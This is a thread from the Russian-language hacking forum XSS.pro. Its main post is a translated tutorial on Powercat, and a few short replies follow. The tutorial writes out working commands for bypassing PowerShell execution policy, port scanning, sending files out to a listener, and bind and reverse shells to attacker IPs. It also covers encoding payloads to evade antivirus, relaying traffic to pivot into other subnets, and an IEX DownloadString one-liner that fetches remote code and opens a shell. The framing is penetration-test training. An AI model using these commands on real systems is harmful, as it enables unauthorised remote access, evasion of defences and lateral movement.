• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Powercat для пентестера

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Введение

Powercat - это простая сетевая утилита, используемая для выполнения низкоуровневых сетевых коммуникационных операций. Инструмент представляет собой реализацию хорошо известного Netcat на Powershell. Известно, что традиционные антивирусы позволяют запускать Powercat. Установленный размер утилиты - 68 КБ. Портативность и независимость от платформы этого инструмента делают его незаменимой стрелой в колчане каждого специалиста RT. В этой статье мы продемонстрируем и изучим функции этого инструмента. Вы можете скачать его здесь - https://github.com/secabstraction/PowerCat

Основные параметры в Powercat


Powercat поддерживает различные опции. В этой статье мы рассмотрим следующее.

-lListen for a connection
-cConnect to a listener
-pThe port to connect to, or listen on
-eExecute
-epExecute Powershell
-gGenerate Payload
-geGenerate Encoded Payload
-dDisconnect stream
-iInput data

Настройка Powercat


Политика выполнения Powershell - это функция безопасности в Windows, которая определяет, какие сценарии могут или не могут выполняться в системе, поэтому нам необходимо установить для политики выполнения Powershell значение "bypass". Это позволит запускать все сценарии без ограничений. После этого нам нужно загрузить Powercat с помощью wget.

powershell -ep bypass
wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1

1641544423467.png


Теперь, когда мы загрузили сценарий Powercat, мы можем импортировать его в текущий терминал Powershell и затем использовать.

Import-Module .\powercat.ps1

1641544441481.png


Сканирование портов


Powercat оснащен функцией сканирования открытых портов. Это можно сделать, пытаясь установить TCP-соединение с определенными портами. Например, если мне нужно проверить работающую службу на порту 21,22,80,443, мы можем сделать это следующим образом:

(21,22,80,443) | % {powercat -c 192.168.1.150 -p $_ -t 1 -Verbose -d}


Обратите внимание, что здесь мы добавили номер порта как переменную списка. Режим клиента (флаг -c) указывает клиента для сканирования. Как видно на скриншоте ниже, если порт был обнаружен открытым, Powercat успешно настроил стрим со службой. Флаг параметра отключения (-d) указывает Powercat отключать стрим, как только он открывается. Следовательно, именно так можно обнаружить открытые порты с помощью Powercat.

1641544466475.png


Передача файлов

Передача файлов возможна в Powercat путем ввода данных в стрим данных и их извлечения на стороне клиента.

Давайте создадим текстовый файл с именем "notes.txt" в текущей папке. Здесь флаг ввода (-i) используется для ввода данных в поток. Это также можно использовать для перемещения файлов, объекта байтового массива или строк.

Теперь мы сначала настроим прослушатель на стороне клиента. Давайте для удобства воспользуемся netcat в Linux. После настройки мы будем использовать Powercat для передачи этого текстового файла.

nc -lnvp 443 > notes.txt
powercat -c 192.168.1.3 -p 443 -i notes.txt

1641544583433.png


Теперь все, что было в файле notes.txt, было перенесено в пункт назначения. Как видите, файл успешно создан после успешного разрыва соединения.

1641544609438.png


Биндинг шелла

Биндинг шелла относится к процессу, в котором злоумышленник может подключиться к открытому прослушателю на целевой машине и взаимодействовать. Чтобы продемонстрировать это, мы настроим прослушиватель на цели с помощью Powercat, а затем подключимся к нему. Здесь есть два сценария:

1.Netcat для Powercat: здесь злоумышленником является Kali, и Windows имеет запущенный на нем прослушиватель.

Атакующий -> Кали

Жертва -> Windows

В идеальном сценарии злоумышленник доставит код, который запускается для открытия прослушивателя, а затем позволит злоумышленнику продолжить общение с жертвой, подключившись к ней.

powercat -l -p 443 -e cmd
nc 192.168.1.145 443

1641544629257.png


Таким образом, мы наблюдаем, что интерактивный сеанс теперь активен на атакующем компьютере.

1641544638173.png


1. Powercat в Powercat: то же самое может быть достигнуто и между двумя скриптами Powercat. На слушателе мы настраиваем порт 9000 и злоумышленника для подключения и доставки исполняемого файла cmd.

Слушатель: Ignite (имя пользователя Windows)

Злоумышленник: raj (имя пользователя Windows)

powercat -l -p 9000 -e cmd -v
powercat -c 192.168.1.145 -p 9000 -v


1641544657197.png


Как видите, злоумышленник успешно может подключиться к прослуштвателю и запускает интерактивный сеанс. Мы проверили аккаунт с помощью whoami.

1641544666031.png


Реверс шелл

Реверс шеллом называется процесс, в котором на машине злоумышленника работает прослушиватель, к которому подключается жертва, а затем злоумышленник выполняет код.

1. Netcat в Powercat: здесь Kali (netcat) - это машина злоумышленника, прослушиватель которой работает на порту 443, и Windows, работающая под управлением Powercat (жертва), должна подключиться к нему.

Злоумышленник: Netcat (Kali)

Жертва: Ignite (имя пользователя Windows)

Это достигается первым запуском netcat в режиме прослушивателя на атакующем компьютере, а затем запуском powercat в клиентском режиме для подключения.

nc -lvnp 443
powercat -c 192.168.1.3 -p 443 -e cmd.exe

1641544691221.png


Как видите, как только жертва вводит команду Powershell, мы получаем интерактивную оболочку

1641544703296.png


1. Powercat в Powercat: то же самое можно сделать и с двумя устройствами Windows.

Злоумышленник: Ignite (имя пользователя Windows)

Жертва: raj (имя пользователя Windows)

Давайте сначала настроим прослушиватель на порт 9000, а затем запустим powercat в клиентском режиме, чтобы
подключиться к нему.

powercat -l -p 9000 -v
powercat -c 192.168.1.145 -p 9000 -e cmd -v

1641544736731.png


Как видите, интерактивная оболочка была создана при подключении к этому прослушивателю.

1641544745382.png


Но, конечно же, приведенная выше команда Powercat на стороне жертвы - это просто имитация того, как в реальной жизни будет работать получение интерактивной оболочки посредством удаленного выполнения кода.

Автономный шелл

Опция полезна, когда в системе может быть выполнен сценарий. Это позволяет злоумышленнику закодировать реверс шелл в файле ".ps1" и дождаться выполнения сценария. Сценарий 1. Допустим, выполняется задание cron, которое выполняет сценарий, которому требуется доступ на запись. Можно скопировать и вставить следующую команду, чтобы легко получить реверс шелл даже без доступа к выполнению команд Powershell.

powercat -c 192.168.1.3 -p 443 -e cmd.exe -g > shell.ps1
.\shell.ps1

1641544769095.png


Убедитесь, что прослушиыатель запущен. Мы используем Kali в качестве атакующей машины с помощью netcat.

nc -lnvp 443

Как видите, существует несколько способов получить интерактивную оболочку на целевой машине с помощью netcat.

Закодированный шелл

Чтобы обойти традиционные устройства безопасности, такие как антивирусные решения, мы можем закодировать шелл, который использовали выше. В Powercat есть хорошая функция для кодирования команды в шестнадцатеричный массив. Таким образом можно обойти некоторые из основных функций безопасности. Это делается так:

powercat -c 192.168.1.3 -p 443 -e cmd.exe -ge > encodedshell.ps1

1641544796014.png


Затем оболочку можно запустить с помощью параметра powershell -E, который может выполнять закодированную строку.

powershell -E <string>

Затем строка представляет собой закодированное значение сверху.

1641544815328.png


Мы заранее настроили прослушиватель на нашей атакующей машине (kali) и ждали соединения. Как видите, оболочка успешно выполняется.

1641544823070.png


Туннелирование

Туннелирование - наиболее эффективный механизм сохранения скрытности при выполнении операций RT или даже в реальных сценариях. Powershell и Powercat могут помочь нам с туннелированием и сокрытием нашей личности в следующий раз, когда мы проведем оценку действий RT.

Здесь есть три машины. Здесь злоумышленник связывается с машиной с двумя сетевыми картами и атакует машину, работающую в альтернативной подсети (192.168.146.0/24).

1641544834632.png


Теперь предположим, что злоумышленник уже имеет доступ к туннельной машине. Мы воспроизведем сценарий с помощью команды Enter-PSSession. Эта утилита позволяет нам получить интерактивный терминал Powershell туннеля с помощью учетных данных.

Enter-PSSession -ComputerName 192.168.1.45 -Credential raj

1641544875566.png


После ввода учетных данных мы видим, что был создан интерактивный сеанс PowerShell.

Мы запускаем ipconfig как команду валидатора, однако мы сделали интересное наблюдение. На этой машине были настроены две карты LAN и был подключен еще один адаптер. Возможно, в этой подсети работают другие машины.

1641544887127.png


Чтобы поработать над нашим наблюдением, нам понадобится Powercat в этой системе. Скачиваем его с помощью wget.

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1
ls

1641544901937.png


Но прежде чем мы сможем запустить этот скрипт, нам нужно снова изменить политику выполнения. Кроме того, после небольшого поиска мы обнаружили, что 192.168.146.129 жив и отвечает. Давайте просканируем эту систему с помощью Powercat

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
Import-Module .\powercat.ps1
(21, 22, 80, 443) | % { Powercat -c 192.168.146.129 -p $_ -t 1 -Verbose -d}


Как видите, было открыто три порта: 21,22,80.

1641544921969.png


Теперь, если мы настроим здесь ретранслятор трафика, наша система злоумышленника сможет связываться и подключаться к SSH на машине жертвы (192.168.146.129)

Мы будем использовать Powercat для настройки ретранслятора трафика:

powercat -l -p 9090 -r tcp:192.168.146.129:22 -v

1641544944943.png


Как вы можете видеть выше, TCP-трафик с порта 22 на 192.168.146.129 теперь ретранслируется через 192.168.146.128 (туннель) на порт 9090. Таким образом, из внешней системы мы используем PuTTY для подключения к порту 9090 туннельной машины, который соединит нас с машиной-жертвой.

1641544960105.png


И вот так мы завершили наш туннель и получили доступ к нашей машине-жертве.

1641544974012.png


Мы также можем использовать Powercat для настройки реле на порт 80, через которое мы сможем получить доступ к веб-сайту, запущенному на жертве.

powercat -l -p 9090 -r tcp:192.168.146.129:80 -v


Как видно, жертва теперь доступна через этот туннель.

1641545002719.png


Powercat One Liner

Реверс шелл интерпретатор Powercat также существует как однострочная команда. Предположим, что у нас есть выполнение кода на жертве, мы можем использовать однострочную оболочку Powercat, чтобы вернуть обратную оболочку на прослушиватель, работающий на машине злоумышленника. Для этого процесса нам нужно скачать Powercat в отдельную папке и запустить веб-сервер.

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1
python -m SimpleHTTPServer 80

1641545020743.png


Теперь мы немедленно настроим прослушиватель на порт 4444 на атакующей (kali) машине. Между тем, у нас есть выполнение кода на цели, и поэтому мы будем использовать следующий однострочник Powershell/Powercat:

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.3/powercat.ps1');powercat -c 192.168.1.3 -p 4444 -e cmd"

1641545038898.png


Как только мы нажмем Enter, мы получим обратную оболочку для прослушивателя, работающего в Kali.

1641545048230.png


Вывод

Следовательно, в этой статье мы продемонстрировали различные функции Powercat. Этот инструмент с готовностью используется в атаках RT и становится частью основных курсов сертификации по кибербезопасности. Надеюсь, статья поможет соискателям/студентам или аналитикам понять инструмент простым и эффективным способом. Спасибо за чтение.

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/powercat-for-pentester/
 

Вложения

  • 1641544729869.png
    1641544729869.png
    12.9 КБ · Просмотры: 6
Одно замечание.
Поскольку PowerCat - это PowerShell-форма NetCat, PowerCat может быть легко подключен к Netcat. использование PowerCat почти полностью совпадает с использованием Netcat.

1641547245426.png


Обратные ссылки
1641547283027.png
 
Одно замечание.
Поскольку PowerCat - это PowerShell-форма NetCat, PowerCat может быть легко подключен к Netcat. использование PowerCat почти полностью совпадает с использованием Netcat.

Посмотреть вложение 30562

Обратные ссылки
Посмотреть вложение 30563
Сразу не понял что не так. Не работает чтоли что-то?
 
Сразу не понял что не так. Не работает чтоли что-то?
Вопросов нет)
 
Спасибо за перевод. Перед Вами Яшечка снимаю шляпу!
Я конечно туплю как всегда, но ткнул на ссылку " https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1"
и сразу сработал мой windows защитник
а попробовал скачать Netcat для windows тут "http://netcat.sourceforge.net/download.php"
так он и скачался и тихо распаковался и отработал без подозрений
не понимаю - зачем так?
Получается надобыло так назвать
"Powercat - инструмент для сэппуку пентестера"
 
Спасибо за перевод. Перед Вами Яшечка снимаю шляпу!
Я конечно туплю как всегда, но ткнул на ссылку " https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1"
и сразу сработал мой windows защитник
а попробовал скачать Netcat для windows тут "http://netcat.sourceforge.net/download.php"
так он и скачался и тихо распаковался и отработал без подозрений
не понимаю - зачем так?
Получается надобыло так назвать
"Powercat - инструмент для сэппуку пентестера"
О, Шивушка, родной, давно тебя не слышал, не видел. Давай к нам переползай, нам такие как ты нужны!!!
 
Спасибо за перевод. Перед Вами Яшечка снимаю шляпу!
Я конечно туплю как всегда, но ткнул на ссылку " https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1"
и сразу сработал мой windows защитник
а попробовал скачать Netcat для windows тут "http://netcat.sourceforge.net/download.php"
так он и скачался и тихо распаковался и отработал без подозрений
не понимаю - зачем так?
Получается надобыло так назвать
"Powercat - инструмент для сэппуку пентестера"
Теперь переустанови срочно систему))
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх